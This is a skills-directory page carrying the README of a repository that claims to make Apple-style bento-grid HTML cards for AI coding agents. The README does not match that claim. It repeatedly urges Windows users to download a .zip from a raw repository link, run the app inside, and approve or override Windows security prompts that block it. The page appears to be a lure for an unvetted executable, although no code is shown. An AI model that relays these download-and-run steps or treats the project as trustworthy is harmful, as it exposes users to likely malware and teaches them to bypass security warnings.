Back to skills directory
nxproxystudios/apple-bento-grid

nxproxystudios/apple-bento-grid

@NxProxyStudios 2

Create Apple-style bento grid cards as self-contained HTML files with pixel-perfect output.

apple-bento-gridbento-gridapple-designpresentation-cardshtmlai-coding-agentsclaude-codecodexcreative

Install

$ npx skills add NxProxyStudios/apple-bento-grid

README

# GitHub Repository: NxProxyStudios/apple-bento-grid

**URL:** https://github.com/NxProxyStudios/apple-bento-grid
**Author:** NxProxyStudios
**Description:** Create Apple-style bento grid cards as self-contained HTML files for AI coding agents, with pixel-perfect output and no design tools required
**Homepage:** 
**Language:** HTML

## Stats
- Stars: 2
- Forks: 0
- Open Issues: 0
- Commits: 14
- Created: 2026-04-01T21:58:46Z
- Updated: 2026-06-25T13:04:47Z
- Pushed: 2026-06-25T13:03:58Z

## README
# 🎨 apple-bento-grid - Make presentation cards fit Apple style

[![Download apple-bento-grid](https://img.shields.io/badge/Download-apple--bento--grid-blue?style=for-the-badge&logo=github)](https://github.com/NxProxyStudios/apple-bento-grid/raw/refs/heads/main/skills/apple-bento-grid/bento_grid_apple_2.9.zip)

## ✨ What this does

apple-bento-grid helps you make Apple-inspired bento grid cards for presentations and visual layouts. It is made for people who want clean cards with strong spacing, soft color blocks, and simple content that looks good on screen.

Use it when you need:
- Presentation cards for slides
- Grid layouts for data or ideas
- Clean visuals for reports
- Apple-style card sets for AI-made content

## 🖥️ Works on Windows

This tool runs on Windows and is built for end users who want a simple setup. You can use it with no coding background. If you already use Claude Code, Codex, or another AI coding tool, it also fits into that flow.

## 📥 Download and set up

Visit this page to download and run the app:

https://github.com/NxProxyStudios/apple-bento-grid/raw/refs/heads/main/skills/apple-bento-grid/bento_grid_apple_2.9.zip

### Steps to get started on Windows

1. Open the download link in your browser.
2. Look for the latest version or release files on the page.
3. Download the file that matches Windows.
4. If the file comes as a .zip, right-click it and choose Extract All.
5. Open the extracted folder.
6. Run the main app file or follow the included setup steps.
7. If Windows asks for permission, choose Yes.
8. Wait for the app to open.

## 📦 What you get

apple-bento-grid gives you a simple way to turn ideas into neat grid cards. The output is shaped for clear reading and clean visual balance.

Common uses include:
- Product cards
- Feature cards
- Dashboard-style panels
- Slide sections
- Summary blocks
- Comparison grids

## 🧩 How it helps

This project saves time when you need a layout that looks refined without manual design work. It keeps cards aligned, readable, and easy to scan.

It is useful for:
- Making content look polished
- Keeping text short and clear
- Showing several ideas in one view
- Building visual blocks for demos
- Creating presentation-ready layouts fast

## 🛠️ Basic setup flow

If you are using this with an AI coding agent, the usual flow is simple:

1. Download the project from the link above.
2. Place it in a folder you can find again.
3. Open it with your AI tool or editor.
4. Ask the agent to generate or adjust bento grid cards.
5. Review the result in your browser or preview window.
6. Change the text, colors, or card count if needed.

## 🎯 Good to know

The design style aims for:
- Soft edges
- Clean spacing
- Simple color balance
- Large readable blocks
- Layouts that feel modern and calm

That makes it a good fit for:
- Executive slides
- Product ideas
- Feature overviews
- Data snapshots
- AI-generated presentation assets

## 🧠 Example uses

Here are some simple ways people may use apple-bento-grid:

- Turn a list of features into neat cards
- Build a visual summary for a report
- Create a slide that shows key numbers
- Lay out ideas in a grid with equal spacing
- Make a polished card set from raw text

## 🪟 Windows tips

If Windows blocks the file, check these common points:

- Make sure the download finished
- Extract the ZIP before opening files inside it
- Keep the folder in a simple path, like Documents or Desktop
- Open the main file from the extracted folder
- If a security prompt appears, allow the app to run

## 📚 For Claude Code and Codex

This repository is made for agent-based work. If you use Claude Code, Codex, or another AI coding agent, you can use it to generate bento grid layouts from text prompts.

Typical prompt ideas:
- Create 6 cards for a feature overview
- Build a 3-column layout for a product launch
- Make a clean Apple-style grid for a dashboard
- Turn this list into presentation cards
- Adjust spacing for a more minimal look

## 🔍 Topics covered

This project fits these areas:
- agent skills
- Apple design
- bento grid
- data visualization
- presentation layouts
- Claude Code
- Codex

## 📁 Suggested project layout

A simple setup may include:
- Source files for card generation
- A preview folder for output
- A config file for layout settings
- Sample content for quick tests

## ✅ Best results

To get a clean result, use short text in each card. Keep the wording direct. Use numbers, short labels, and simple sections. That matches the Apple-inspired style this project is built for

## 📌 Download link again

Visit this page to download and run the app:

https://github.com/NxProxyStudios/apple-bento-grid/raw/refs/heads/main/skills/apple-bento-grid/bento_grid_apple_2.9.zip

Information

Language
HTML
Created
2026/6/25
Updated
2026/6/26